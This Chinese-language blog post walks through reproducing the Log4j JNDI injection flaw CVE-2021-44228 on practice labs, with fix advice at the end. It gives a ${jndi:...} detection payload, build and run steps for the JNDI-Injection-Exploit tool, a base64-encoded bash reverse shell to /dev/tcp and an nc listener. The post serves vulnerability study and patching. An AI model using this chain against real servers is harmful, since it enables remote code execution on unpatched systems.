[漏洞复现]log4j漏洞RCE(CVE-2021-44228)

2021-12-19 22:21:55 浏览数 (1)

代码语言:javascript复制
文章源自于个人博客:http://vfree.ltd/

前言

2021/12/09,阿里云安全团队向apache报告了由log4j日志引起的远程代码执行,12月10日,当天白帽跟提前过大年似的,疯狂刷src(利用超级简单),让部分src平台暂时停止收类似该漏洞,凌晨,很多程序员和安全员被迫起来应急响应,几乎市面上的大厂都受到了该漏洞的影响

这里做一个复现学习的小文章,由于对java这方面的知识雀食是薄弱,而且本地复现时,出现了挺多问题,在本地复现时,不知道是什么原因,利用payload去打的时候,总是说loggxxx模块不存在...idea也犯毛病...果断直接用网上的靶机去复现一波

1.漏洞信息

漏洞信息

漏洞名称

Apche log4j远程代码执行漏洞

漏洞编码

CVE-2021-44228

漏洞危害

严重

漏洞时间

2021/12/10

受影响版本

Apache Log4j 2.x <= 2.14.1 <= Log4j 2.15.0-rc1

利用难度

POC

已知

EXP

已知

1.1漏洞描述

apache log4j通过定义每一条日志信息的级别能够更加细致地控制日志生成地过程,受影响地版本中纯在JNDI注入漏洞,导致日志在记录用户输入地数据时,触发了注入漏洞,该漏洞可导致远程代码执行,且利用条件低,影响范围广,小到网站,大到可联网的车都受影响,建议使用了相关版本的应用或者插件,尽快升级修补,做好相关方措施,避免造成不必要的损失

2.受影响组件

根据网上公开的信息来看,目前一下组件是已知搜受影响的插件

  • Spring-boot-strater-log4j2
  • Apache Solr
  • Apache Flink
  • Apache Druid

3.漏洞靶场

  • catflag: 暂无
  • 掌控安全: http://d63bb2586.lab.aqlab.cn/
  • vulfocus: http://vulfocus.fofa.so/#/dashboard
  • ctfshow: https://ctf.show/challenges#Log4j复现-1730
  • bugku: https://ctf.bugku.com/challenges/detail/id/340.html

4.dnslog平台

  • dnslog: http://www.dnslog.cn/
  • dnslog:https://log.xn--9tr.com/
  • ceye:http://ceye.io/

5.漏洞复现

如果是仅作是否存在该漏洞测试,使用这条payload即可

测试POC: payload: ${jndi:idap://这里填写在上面提到的dns platform 中获取到的dns域名}

5.1 本地测试

本地测试: Github: https://github.com/fengxuangit/log4j_vuln

5.2靶场复现---vulfocus

这里以vulfocus靶场进行复现,本文目的是为了让学习和研究该漏洞,禁用用于任何非法行为

5.1.1 复现开始

1.构造环境

最好是配置jdk1.8.0_172的版本,更高的版本可以无法利用成功 在反弹shell同时,需要在vps本地构建一个ldap服务

代码语言:txt复制
GitHub: https://github.com/welk1n/JNDI-Injection-Exploit

使用:
    1.cd JNDI-Injection-Exploit
    2.mvn clean package -DskipTests
    3.java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"

if '提示' == 'bash: mvn: command not found':
    参考文章: https://blog.csdn.net/jiangyu1013/article/details/103584140

使用mvn构建完成后,会在该文件夹下新建一个target的文件夹,记录该文件夹

2.打开靶机

访问地址根据给出的为准

3.访问题目

注意:题目url要加/hello,并且要以post的方式定义payload值进行传参) 即:url/hello POSTDATA:payload=xxxxxxxx

4. POC测试

在本文上面的第四点讲到的dnslog platform中任意找一个可用的dnslog平台获取一个dns,然后构造payload测试是否存在漏洞 payload传入成功会回显ok Got SubDomain :获取dns Rcfrcsh Rcord :获取目标是否有解析会回来,如果有的话,说明该站可能纯在log4j的漏洞

传入payload (${jndi:idap://这里填写在上面提到的dns platform 中获取到的dns域名})

回到dnslog platform查看是否有解析记录

如果dnslog platform返回了类似上面的内容的花,即证明该漏洞存在切可用

5.构造环境

使用到第一步搭建好的 JNDI-Injection-Exploit 在JNDI-Injection-Exploit目录下执行

代码语言:txt复制
java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,[经过base64编码后的命令]}|{base64,-d}|bash" -A [你的vpsip]

比如这样子↓

代码语言:txt复制
bash -i >& /dev/tcp/127.0.0.1/6666 0>&1 ---> YmFzaCAtaSA JiAvZGV2L3RjcC8xMjcuMC4wLjEvNjY2NiAwPiYx
代码语言:txt复制
 java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xMjcuMC4wLjEvNjY2NiAwPiYx}|{base64,-d}|bash" -A 127.0.0.1
 注意:根据自身情况调整payload
6.打开监听

另起终端,打开nc -lvp 端口 进行监听

7.Attack

vulfocus的靶机,用类似下面这个payload

8.成功getshell

6.修复建议

  • 1.更新log4j至 rc2(https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2)
  • 2.配置防火墙策略,禁止主动连接外网设备
  • 3.升级受影响的应用及组件
  • 4.过滤相关的关键词,比如${jndi://*} ......

注意,2021/12/10 360漏洞云发布二次通告预警,官方发布的修复rc1版本仍然可以绕过,请使用该版本的的用户尽快升级至rc2

7.注意的点

所有漏洞复现文章仅供学习交流使用,禁止用于非法用途!!!!!!!!!!!!!!!!!!

0 人点赞